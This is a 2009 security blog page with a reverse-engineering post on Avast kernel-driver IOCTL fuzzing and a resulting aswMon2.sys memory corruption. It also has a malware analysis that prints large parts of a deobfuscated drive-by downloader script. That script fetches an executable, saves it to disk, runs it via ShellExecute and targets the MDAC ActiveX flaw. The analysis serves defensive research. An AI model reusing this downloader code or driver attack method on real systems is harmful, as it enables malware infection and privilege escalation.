Device Drivers Vulnerability Research, Avast a real case

September 24, 2009

In the past days I worked intensively on Antivirus’s Device Drivers bugs, at the actual state of art the major part of well known AVs suffer of basical and more hidden bugs. The totality of AVs that I’ve checked presents defects that could be maliciously used to takeover an Antivirus Infrastructure and in some case the entire Operating System with attacks like DoS and/or Remote/Local Privilege Escalation.

I want to make a precisation here, exists an important difference between Bug and Vulnerability, simply bugs does not affects the integrity of a system and does not constitute a true danger. Vulnerabilities constitutes an effective risk for systems integrity, included informations contained inside it. When we are dealing with applications specifically devoted to security, every bug could be considered a vulnerability, because an attacker could block/kill overcome checks performed by the application itself and propagate in system and produce damages. Just think to a basical crash that could affect an Antivirus could be implemented into a malicious application that checks the presence of AVs and induces the bug.

In this little post we are going to see some defects of last device drivers used by Avast, I’m precisely talking of

  • Build Number: 4.8.1351.0

Avast loads the following drivers:

  • Aasvmker4.sys
  • aswMon2.sys
  • aswRdr.sys
  • aswSP.sys

Avast loads the following Drivers could be tested by fuzzing IOCTLs, for this task could be used IOCTL Fuzzer and Kartoffel. Let’s disassemble the first driver, Aavmker4.sys that from DeviceIoControl hook appears to be heavy used. This is the DriverEntry()drivers

00010748 mov eax, [ebp+DriverObject]
0001074B push offset NotifyRoutine ; NotifyRoutine
00010750 mov dword ptr [eax+70h], offset sub_1098C ; DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_1098C;
00010757 call PsSetCreateProcessNotifyRoutine

sub_1098C contains the switch statement to handle various IOCTL notifications, essentially IOCTL check is structured in form of nested If and Switches.

001098C ; int __stdcall sub_1098C(int, PIRP Irp)
000109C4 mov ecx, 0B2D6002Ch
000109C9 cmp eax, ecx
000109CB ja loc_10D12
000109D1 jz loc_10CE9

Checks if IOCTL is less or equal to 0x0B2D6002C, if condition is true checks if IOCTL is exactly 0x0B2D6002C a certain task is performed by the device driver and finally ends with a classical

IofCompleteRequest(X, 0);
return value;

By monitoring Aavmker4.sys activity, with a DeviceIoControl hook emerges that the most used IOCTLs are:

  • 0xB2D60030
  • 0xB2D60034

Now we have two possibilities the first is to fuzz these IOCTLs and check crash dump if happens and after check code for more details, the second possibility is to invert the check order.

This the xml configuration to test Aavmker4.sys









IRP I/O Control Code










launch fuzzer and Avast Scan, as you can see Driver resists to Fuzzing attempts, its time to see code referred to 0xB2D60030 and 0xB2D60034.


00010D25 cmp eax, 0B2D60030h
00010D2A jz short loc_10DA8
00010D2C cmp eax, 0B2D60034h
00010D31 jz short loc_10D5B

00010DC5 mov edi, [ebx+0Ch]
00010DC8 cmp esi, 878h
00010DCE jz short loc_10DDA ;Check buffer size
00010DD0 push offset aIoctl_aavm_sta ; “******* IOCTL_AAVM_START_REQUEST_AND_SE”…
00010DD5 jmp loc_10ABA ;Jump to Io Completion

If buffer size differs from 878h Dbg Prints an error message, else supplied buffer is correctly sanitized via MmUserProbeAddress, MmIsAddressValid. We can say that this IOCTL is correctly handled.


00010D5B cmp esi, 8
00010D5E jnz loc_10AC0 ;If differs from 8 return STATUS_INVALID_PARAMETER
00010D64 call PsGetCurrentProcessId

Now let’s test aswSP.sys. In Device Driver vulnerabilty research it’s fundamental to have a complete log of all activities of a driver, this can be obtained by correctly planning a battery of test unit. Each test should correspond to a primitive logic operation performed by an application that makes use of driver. I usually build several mini logs for each activity and finally a complete log. Here a little list of monitoring primitives:

  • On Load
  • On apparent Idle
  • On Working
  • On Shutdown
  • Various, like On Surprise Stop

This will give us a complete report of all activities and involved IOCTL. In the specific case of aswMon2.sys we can isolate the following:

  • 0xb2c80018
  • 0xb2c80014
  • 0xb2c80020
  • 0xB2c800C0
  • 0xB2c800C4
  • 0xB2c800C8

From IOCTL Logger we can see that 0xB2c800C0 is heavly used, time to locate Ioctl Dispatcher:

0001178B and dword ptr [ebx+34h], 0
0001178F mov dword ptr [ebx+6Ch], offset sub_11FB6
00011796 mov dword ptr [ebx+28h], offset off_18988

C like:
v2->DriverUnload = 0;
v2->MajorFunction[13] = (PDRIVER_DISPATCH)sub_11FB6;
v2->FastIoDispatch = (PFAST_IO_DISPATCH)&unk_18988;

with a bit of research we land to sub_10B82 that contains the switch for Ioctls.

00010BBD mov eax, 0B2C80018h
00010BC2 cmp ecx, eax
00010BC4 push edi
00010BC5 ja loc_11066
00010BCB jz loc_10F70
00010BD1 cmp ecx, 0B2C80008h
00010BD7 jz short loc_10C3C
00010BD9 cmp ecx, 0B2C8000Ch
00010BDF jz short loc_10C16
00010BE1 cmp ecx, 0B2C80010h
00010BE7 jz short loc_10BFF
00010BE9 cmp ecx, 0B2C80014h
00010BEF jnz loc_111AC
00010BF5 call sub_108BC
00010BFA jmp loc_11055

From logs emerged that the most frequently used is 0B2C8000C so it’s obvious that we will study this for first:


00010C16 cmp [ebp+arg_C], 1448h
00010C1D jnz loc_111AC ;check len
00010C23 mov esi, [ebp+SourceString]
00010C26 mov ecx, 512h
00010C2B mov edi, offset dword_18A58
00010C30 rep movsd
00010C32 call sub_108F0
00010C37 jmp loc_112C1 ;go out

In this case user supplied input is correctly sanitized, so 0xB2C8000C can be excluded from fuzz testing. From the log On Shutdown emerged the massive presence of 0xB2c80018, so let’s fuzz it. Here the configuration for IOCTL Fuzzer:

<?xml version=”1.0″ encoding=”windows-1251″?>



































The config script allows only 0xB2c80018 sent from aswMon, other drivers are locked. Obviously fuzzing need to follow the log unit that evidenced out IOCTL, so run fuzzer and stop all Avast services.

Bang..a BSOD, discovered an Avast vulnerability into aswMon2.sys :)

From crashdump:

kd> !analyze -v

Arg2: 80042000
Arg3: 00000000
Arg4: 00000000_KERNEL_MODE_TRAP_M (1000007f)

WARNING: Stack unwind information not available. Following frames may be wrong.
f76f3234 8053d251 f76f3250 00000000 f76f32a4 nt+0x600fa
f76f32a4 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f3328 8052c793 41414141 00000000 f76f377c nt+0×55712
f76f33a4 804fc700 f76f377c f76f3478 05050505 nt+0×55793
f76f3760 8053d251 f76f377c 00000000 f76f37d0 nt+0×25700
f76f37d0 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f3854 8052c793 41414141 00000000 f76f3ca8 nt+0×55712
f76f38d0 804fc700 f76f3ca8 f76f39a4 05050505 nt+0×55793
f76f3c8c 8053d251 f76f3ca8 00000000 f76f3cfc nt+0×25700
f76f3cfc 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f3d80 8052c793 41414141 00000000 f76f41d4 nt+0×55712
f76f3dfc 804fc700 f76f41d4 f76f3ed0 05050505 nt+0×55793
f76f41b8 8053d251 f76f41d4 00000000 f76f4228 nt+0×25700
f76f4228 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f42ac 8052c793 41414141 00000000 f76f4700 nt+0×55712
f76f4328 804fc700 f76f4700 f76f43fc 05050505 nt+0×55793
f76f46e4 8053d251 f76f4700 00000000 f76f4754 nt+0×25700
f76f4754 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f47d8 8052c793 41414141 00000000 f76f4c2c nt+0×55712
f76f4854 804fc700 f76f4c2c f76f4928 05050505 nt+0×55793
f76f4c10 8053d251 f76f4c2c 00000000 f76f4c80 nt+0×25700
f76f4c80 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f4d04 8052c793 41414141 00000000 f76f5158 nt+0×55712
f76f4d80 804fc700 f76f5158 f76f4e54 05050505 nt+0×55793
f76f513c 8053d251 f76f5158 00000000 f76f51ac nt+0×25700
f76f51ac 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f5230 8052c793 41414141 00000000 f76f5684 nt+0×55712
f76f52ac 804fc700 f76f5684 f76f5380 41414141 nt+0×55793
f76f5668 8053d251 f76f5684 00000000 f76f56d8 nt+0×25700
f76f56d8 f7756a04 badb0d00 8055b256 00000000 nt+0×66251
f76f576c 41414141 41414141 41414141 41414141 aswMon2+0xa04
f76f5770 41414141 41414141 41414141 41414141 0×41414141
f76f5774 41414141 41414141 41414141 41414141 0×41414141
f76f5778 41414141 41414141 41414141 41414141 0×41414141
f76f577c 41414141 41414141 41414141 41414141 0×41414141

here the evidece of buffer corruption.


00010F70 cmp [ebp+arg_C], 288h ;Insufficent input validation
00010F77 jnz loc_111AC
00010F7D mov esi, [ebp+SourceString]
00010F80 cmp [esi], ebx
00010F82 mov [ebp+arg_C], ebx
00010F85 jz short loc_10FEB
00010F87 mov eax, dword_18A48
00010F8C cmp eax, 80h
00010F91 jge loc_11055
00010F97 lea eax, [eax+eax*4]
00010F9A lea eax, unk_231A4[eax*4]
00010FA1 mov [ebp+arg_10], eax
00010FA4 lea eax, [esi+8]
00010FA7 mov [ebp+arg_18], eax
00010FAA jmp short loc_10FAF

Privates, Companies and/or Software House interested into a security review of their Device Drivers can contact me for Professional Consulting, please use PGP key that you can obtain here:

Giuseppe ‘Evilcry’ Bonfa’

Avast aswMon2.sys kernel memory corruption and Local Privilege Escalation

September 23, 2009



Giuseppe ‘Evilcry’ Bonfa’

Trojan.Js.Downloader.BDS Website with exploit and Malware

September 22, 2009

Warning, browse the reported links only with Malzilla.
Browsing passive DNS replication services that collects public DNS data is a great system malware investigation, or better for Suspicious IPs research.

Attention today is centred on IP that looks suspect, let’s query DNS Replication Service.

as you can see we obtain the following list:

* A
* A
* A
* A
* A
* A
* A
* A

other hosted:


Our attention will be on precisely on

we have a first redirection to:

where is located and obfuscated JS script:

function get_pic(z0){
var zr0=0,i,j,zr1=”1″,ff=0xff,zr2=”2″,z9=0xc,zr3=3,b=0×400,r,z7=3,s=0,z8=”ss”,w=0,p=0,t=Array(63,56,55,60,4,31,16,19,20,27,0,0,0,0,0,0,25,42,18,22,49,30,24,51,8,62,46,36,59,61,58,17,54,45,53,48,41,47,0,1,3,21,10,0,0,0,0,44,0,13,28,33,5,11,39,7,34,29,15,50,43,12,26,57,2,9,35,23,6,14,40,38,32,52,37);

function get_pic(z0) deobfuscates the Block of Data that I partiallu reported here, algorithm used is pretty
easy and can be pasted directly into Malzilla Decoder.. here the decoded block of data:

<div id=”demoobj”></div>
<script language=”javascript”>
var space=””;
function lsrn(pt31) {
var ldob=null; var tds1=17;
var st2=”2″;
var stms=”Microsoft”;
var stmss=”MS”;
var stxml=”XML”;
var stdt=”.”;
var stht=”HTTP”;
var stsrv=”Server”;
var url=”;;
var tds2=17;
var stgt=”GET”;
var std=”D”;
var stbd=”Body”;
var strsp=”response”;
var ev1=”ldob”+stdt+”open(stgt,url,false);”;
var stsv=”Save”;
try { ldob=objmker(pt31, stms+stdt+stxml+stht); eval(ev1); }
catch(e) {
try { ldob=objmker(pt31, stmss+stxml+st2+stdt+stxml+stht); eval(ev1); }
catch(e) {
try { ldob=objmker(pt31, stmss+stxml+st2+stdt+stsrv+stxml+stht); eval(ev1); }
catch(e) { try { ldob=new XMLHttpRequest(); eval(ev1); }
catch(e){ return 0;
try { ldob.send(null); }
catch(e) {
try { ldob.send(null); }
catch(e) { return 0;

as you can see from the Bolded variable this piece of code deals with an URL

this link contains a malicious executable.

var obj_strm=objmker(pt31, “A”+std+”O”+std+”B.Stream”);
if (obj_strm) {
obj_strm.Type=1; obj_strm.Mode=3; obj_strm.Open(); obj_strm.Write(ldBody);
var hdrv=””; var dtemp=””; var dstart=””; var daustart=””;
try {var obj_WScript=objmker(pt31, “WScript.Shell”);
try{var wshProcEnv=obj_WScript.Environment(“PROCESS”); hdrv=wshProcEnv(“HOMEDRIVE”); dtemp=wshProcEnv(“TEMP”)
;}catch(e){   };
if (hdrv==””) { hdrv=”C:”; };
if (dtemp==””) {
try {
var obj_fso=objmker(pt31, “Scripting.FileSystemObject”);
}catch(e){  };

here is builded the downloader for the malicious executable.

var fn2=””; var fn=””;
var strnd=Math.round(Math.random()*(100000-1)+10000);
var ev2=”obj_strm.”+stsv+”ToFile(fn,”+st2+”);fn2=fn;”;
if (fn2!=””){

attach a random string to executable name.

var tst2=space;
var tobjst=tst2;
var falret=0;
var zpa1=”var obj_shl=obj”+tst2+”mker(pt31,\”Sh”+tst2+”ell.”+tst2+”Application\”);”; eval(zpa1);
var zpa2=”obj_shl”+tst2+”.Sh”+tst2+”ellEx”+tst2+”ecute(fn2);”;eval(zpa2);

looking carefully to these three vars you can see some well known string represented in a splitted way to deceive basilar webcheckers, here the rebuilded strings

* Shell.Application\
* obj_shl.ShellExecute(fn2)
* obj_W Script.Exec(fn2)

zpa4=”var demoobj2=document.”+tst2+”getElem”+tst2+”ent”+tst2+”ById(\”demoobj\”);”;eval(zpa4);
var zpa5=”demoobj2″+tobjst+”.inner”+tst2+”HTML”+tobjst+”=demoobj2″+tobjst+”.inner”+
tst2+”HTML”+tobjst+”+\”<obj”+tst2+”ect”+tobjst+” clas”+tst2+”sid”+tobjst+”=’cls”+tst2+”id:”+tobjst+”5271″+tst2+”96a4-b1a3-4647-931d-37ba5″+tst2+”af23037″+tobjst+”‘ code”+tst2+”base=”+tobjst+”‘\”+fn2+\”‘></”+tobjst+”object”+tst2+”>\”;”;

zpa5 is the most interesting, between the various strings is builded a CLSID.

clsid:527196a4-b1a3-4647-931d-37ba5af23037 this belongs to MDAC ActiveX
code execution (CVE-2006-0003)

An attacker who successfully exploited this vulnerability could gain the same user rights
as the local user. Users whose accounts are configured to have fewer user rights on the
system could be less impacted than users who operate with administrative user rights.

return falret;
return 1;
return 0;
}else{return 0;};

function objmker(pt21,pt22) {
var tds=27; var nobj=null; var stno=”nobj=pt21.”; var stem=””;
var tds=17; var i=0; var stcb1=”-0000-0000-C000-000000000046″; var st1m=”1-”; var stm1=”-1″;
var hncx=new Array(“BD96C556-65A3″+stm1+”1D0-983A-00C04FC29E36″,”AB9BCEDD-EC7E-47E”+st1m+”9322-D4A210617116″,”0006F033″+stcb1,”0006F03A”+stcb1,”6E32070A-766D-4EE6-879C-DC1FA91D2FC3″,”6414512B-B978-451D-A0D8-FCFDF33E833C”,”7F5B7F63-F06F-433″+st1m+”8A26-339E03C0AE3D”,”06723E09-F4C2-43c8-8358-09FCD1DB0766″,”639F725F”+stm1+”B2D-483″+st1m+”A9FD-874847682010″,”BA018599″+stm1+”DB3-44f9-83B4-461454C84BF8″,”D0C07D56-7C69-43F”+st1m+”B4A0-25F5A11FAB19″,”E8CCCDDF-CA28-496b-B050-6C07C962476B”,null);

Let’s isolate some harcoded value and research about it


this belongs to InternetExplorer MDAC vulnerability

other CLSID used are

* {BD96C556-65A3-11D0-983A-00C04FC29E30}
* {BD96C556-65A3-11D0-983A-00C04FC29E36}
* {AB9BCEDD-EC7E-47E1-9322-D4A210617116}
* {0006F033-0000-0000-C000-000000000046}
* {0006F03A-0000-0000-C000-000000000046}
* {6e32070a-766d-4ee6-879c-dc1fa91d2fc3}
* {6414512B-B978-451D-A0D8-FCFDF33E833C}
* {7F5B7F63-F06F-4331-8A26-339E03C0AE3D}
* {06723E09-F4C2-43c8-8358-09FCD1DB0766}
* {639F725F-1B2D-4831-A9FD-874847682010}
* {BA018599-1DB3-44f9-83B4-461454C84BF8}
* {D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}
* {E8CCCDDF-CA28-496b-B050-6C07C962476B}

var stob=”object”; var stid=”id”; var strd=”obj_RDS”; var iuump=null;
while (hncx[i]) {

definitely this javascript downloads the infected file into the root directory “C:\” with this name :

* “sys[4 random letters].exe”


Giuseppe ‘Evilcry’ Bonfa’

A new case of MSN Identity Theft let-people-laugh

September 16, 2009

Redirection to my second blog:

SpyOS-Express Svn Up

September 16, 2009


TheGreenBow IPSec VPN Client tgbvpn.sys patch released

September 14, 2009


Vista IRP Struct with offset references for consult

September 10, 2009


Vista Tp* Thread Pool Functions

September 7, 2009


Vista’s TEB Struct with offset for handy consult

September 7, 2009



Giuseppe ‘Evilcry’ Bonfa’

Pills of Reversing – new PEB/_TEB members who uses it ?

September 6, 2009



Get every new post delivered to your Inbox.